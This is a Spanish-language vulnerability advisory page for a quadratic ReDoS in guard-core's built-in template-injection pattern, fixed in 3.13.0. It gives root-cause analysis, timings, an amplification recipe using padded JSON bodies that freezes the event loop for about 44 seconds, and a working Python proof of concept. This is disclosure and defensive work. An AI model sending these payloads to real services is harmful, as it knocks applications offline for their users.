Alta

Guard Core: ReDoS cuadrático en patrón de detección integrado bloquea el bucle de eventos con una sola solicitud

  • Publicada: 19.11.2026
  • Actualizado: 21.11.2026 10:00

Resumen

Una denegación de servicio por expresión regular (ReDoS) polinomial (cuadrática) en los patrones de detección de intrusiones integrados de guard-core permite a cualquier cliente remoto no autenticado bloquear todos los endpoints de una aplicación durante segundos por solicitud, utilizando únicamente la configuración predeterminada. La solicitud desencadenante se completa sin ninguna coincidencia de detección: no se incrementa ningún contador de baneo ni se registra ninguna infracción de límite de tasa, por lo que puede repetirse indefinidamente. Desde guard-core 3.5.0, solo los patrones personalizados se ejecutan a través de create_safe_matcher() del compilador con protección de tiempo de espera; todos los patrones integrados se ejecutan como un pattern.search(content) directo en línea en el bucle de eventos asyncio. guard-core ≤ 3.4.0 ejecutaba los patrones integrados a través del comparador seguro (verificado en el wheel 3.4.0, _check_regex_pattern), por lo que se trata de una regresión introducida en 3.5.0 que anula silenciosamente la protección atribuida a GHSA-rrf6-pxg8-684g (CVE-2025-54365) y la corrección de cuantificadores no acotados de GHSA-j47q-rc62-w448 (CVE-2025-53539) para cada patrón de fábrica, a pesar de que el registro de cambios anuncia "Safe regex execution with configurable timeouts to prevent ReDoS attacks."

Detalles

1. El patrón — guard_core/handlers/suspatterns_handler.py:519 (master 08780f1), el detector integrado de inyección de plantillas:

python
r"\{\{\s*[^\}]+(?:system|exec|popen|eval|require|include)\s*\}\}"

Con una entrada de { repetida N veces, cada una de las N−1 posiciones inicia un intento de coincidencia de \{\{ y [^\}]+ escanea hasta el final de la cadena y retrocede una vez por posición → O(N²). Nótese que el patrón hermano en :524 (\{\%\s*[^\%]+...) no es vulnerable: su delimitador % está excluido de la clase de caracteres, manteniendo los escaneos acotados, lo que confirma que la causa raíz es el [^\}]+ no acotado y no excluyente.

2. La ruta de ejecución desprotegida — guard_core/handlers/suspatterns_handler.py:910-926:

python
if compiler:
    if category == "custom":
        safe_matcher = compiler.create_safe_matcher(pattern)   # executor + timeout
        match = safe_matcher(content)
        ...
    else:
        match = pattern.search(content)                        # ← inline, NO timeout

En modo mejorado (el predeterminado siempre que esté presente un SecurityConfig; _supports_enhanced_config() es una comprobación de atributos duck-type que una configuración de fábrica siempre supera), todos los patrones integrados se ejecutan en línea dentro de la corrutina asíncrona, bloqueando el bucle de eventos durante todo el escaneo. En guard-core ≤ 3.4.0, _check_regex_pattern() enrutaba cada patrón a través de self._compiler.create_safe_matcher(pattern.pattern) (verificado en el wheel 3.4.0, suspatterns_handler.py:565-567) o, sin un compilador, a través de _check_pattern_with_timeout (grupo de trabajadores de 4 + tiempo de espera por patrón). La exención de category == "custom" apareció en 3.5.0.

3. Accesibilidad por defecto — La detección de intrusiones está activada por defecto (enable_penetration_detection=True), los parámetros de consulta se analizan por defecto (guard_core/utils.py:843-865) y la ventana de análisis predeterminada detection_max_content_length=10000 (models.py:765-770) admite la carga útil completa de 10,000 caracteres. Una secuencia de { sobrevive intacta al procesamiento previo.

Mediciones (CPython 3.14, guard-core 3.12.0):

entrada tiempo transcurrido en detect() retraso del bucle de eventos (medido en proceso)
{ × 2,500 0.15 s —
{ × 5,000 0.46 s —
{ × 10,000 1.85 s 2.57 s acumulados en las tres llamadas

Un aumento neto de 4× por duplicación: cuadrático, no exponencial. El perfilado de todos los patrones integrados frente a los atributos de la carga útil asigna 1.766 s del total de 1.77 s a este único patrón (corrección de una sola línea: limitar el espacio, p. ej., \{\{\s*[^\}\s]{0,64}(?:system|exec|popen|eval|require|include)\s*\}\}).

Amplificación: cada valor analizado asume el costo de forma independiente (utils.py:843-890 por parámetro de consulta/cabecera; utils.py:936-977 por campo de cadena JSON). Un único cuerpo JSON de 256 KB (el predeterminado detection_max_body_inspect_bytes) que contenía aprox. 25 campos de cadena de {×10,000 registró 44.03 s de bloqueo continuo del bucle de eventos con una sola solicitud, respondiendo normalmente sin ninguna detección.

Por qué la limitación de tasa no ayuda: los valores predeterminados de guard-core son rate_limit=10 por cada rate_limit_window=60 s (models.py:369-375), y la comprobación rate_limit se ejecuta antes de suspicious_activity en la canalización predeterminada. 10 × 44 s = 440 s de bloqueo del bucle por cada intervalo de 60 s desde una sola IP, saturando el servicio desde una única fuente sin requerir distribución.

Alcance en frameworks: cualquier adaptador que integre guard-core en un bucle asyncio (fastapi-guard, flaskapi-guard en despliegues asíncronos, djapi-guard en ASGI) comparte el bucle con la aplicación, por lo que el bloqueo inutiliza todos los endpoints de la aplicación host, no solo las rutas protegidas.

PoC

Solo guard-core: no se requiere adaptador de framework. Requiere pip install guard-core, luego python poc_guard_core_redos.py. Código de salida 0 = bloqueo reproducido.

python
"""PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config.

The built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0
built-in patterns execute inline (pattern.search) with NO timeout — only
`custom` patterns get the compiler's safe matcher. One detect() call with a
10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such
fields blocks it ~44s. Runs on the asyncio loop that any adapter
(fastapi-guard, flaskapi-guard, djapi-guard) shares with the app.

Run:  python poc_guard_core_redos.py
Exit code 0 = freeze reproduced (max loop lag > 1s).
"""

import asyncio
import time

from guard_core.handlers.suspatterns_handler import sus_patterns_handler
from guard_core.models import SecurityConfig

LOOP_LAGS: list[float] = []


async def _loop_lag_monitor() -> None:
    while True:
        t0 = time.monotonic()
        await asyncio.sleep(0.05)
        LOOP_LAGS.append(time.monotonic() - t0 - 0.05)


async def main() -> int:
    config = SecurityConfig(enable_redis=False)  # defaults = enhanced mode
    sus_patterns_handler.configure(config)

    monitor = asyncio.create_task(_loop_lag_monitor())
    await asyncio.sleep(0.3)  # baseline samples

    for n in (2_500, 5_000, 10_000):
        t0 = time.perf_counter()
        result = await sus_patterns_handler.detect(
            content="{" * n, ip_address="203.0.113.7", context="query_param:q"
        )
        print(f"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s  is_threat={result['is_threat']}")

    # let the starved monitor task wake and record the lag it just endured
    await asyncio.sleep(0.1)
    max_lag = max(LOOP_LAGS)
    print(f"\nmax event-loop lag during run: {max_lag:.2f}s")
    print("VERDICT:", "FROZEN" if max_lag > 1.0 else "not reproduced")

    monitor.cancel()
    return 0 if max_lag > 1.0 else 1


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Salida observada (Python 3.14, guard-core 3.12.0):

'{' x  2500: 0.16s  is_threat=False
'{' x  5000: 0.51s  is_threat=False
'{' x 10000: 1.91s  is_threat=False

max event-loop lag during run: 2.57s
VERDICT: FROZEN

Una prueba completa a través del adaptador fastapi-guard (configuración predeterminada, servidor uvicorn real, monitor de retraso de bucle en proceso) midió 1.75 s de retraso del bucle de eventos en el servidor a partir de una única solicitud GET que devolvió HTTP 200; disponible a petición.

Impacto

Tipo de vulnerabilidad: Denegación de servicio por expresión regular — CWE-1333 / CWE-400. Tiempo de ejecución polinomial (cuadrático), O(N²), no retroceso exponencial.

A quién afecta: a cualquier aplicación que integre guard-core ≥ 3.5.0 con su configuración predeterminada (detección de intrusiones habilitada) en un despliegue asyncio de un solo proceso. Una solicitud no autenticada bloquea todos los endpoints durante ~1.8 s; un cuerpo POST con relleno los bloquea durante decenas de segundos; solicitudes repetidas a solo 10/min saturan el worker indefinidamente. Dado que la carga útil no genera ninguna detección positiva, no se incrementa ningún contador de baneo ni se registra nada sospechoso: el ataque es invisible en la propia telemetría de guard-core.

Orientaciones de corrección: (1) limitar el cuantificador en el patrón de plantilla (su hermano {% en :524 ya es seguro porque [^\%]+ excluye el delimitador; excluir el delimitador o limitar el espacio cierra la vulnerabilidad); (2) canalizar los patrones integrados a través de la misma ruta de tiempo de espera create_safe_matcher() que los patrones personalizados, restaurando el comportamiento de ≤ 3.4.0 publicitado en el registro de cambios.

Solicitud de validación al informante

La solución se incluye en guard-core 3.13.0, ya disponible en PyPI. Si usted informó de este problema, instale 3.13.0 y confirme que está resuelto. Puede responder en el hilo de discusión de este aviso o abrir una nueva incidencia con el resultado.

Qué hacer

Actualice a guard-core versión 3.13.0 o posterior mediante PyPI.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) guard-core >= 3.5.0, < 3.13.0 3.13.0

Referencias

Puntuación CVSS 7.5/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE)
CWE-1333, CWE-400
Plataforma
Python (PyPI)
Paquete
guard-core
Publicada
19.11.2026
Actualizado
21.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-r7hm-rjvg-xx7j - CC BY 4.0

Historial de vulnerabilidades: guard-core

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
3
Primera → última
11.2026 11.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 1
  • Media 1
  • Baja 1

Divulgaciones por año

  1. 2026: 3
  1. Guard Core: ReDoS cuadrático en patrón de detección integrado bloquea el bucle de eventos con una sola solicitud esta entrada
    Alta · 7.5 CVE-2026-129302 >= 3.5.0, < 3.13.0 3.13.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.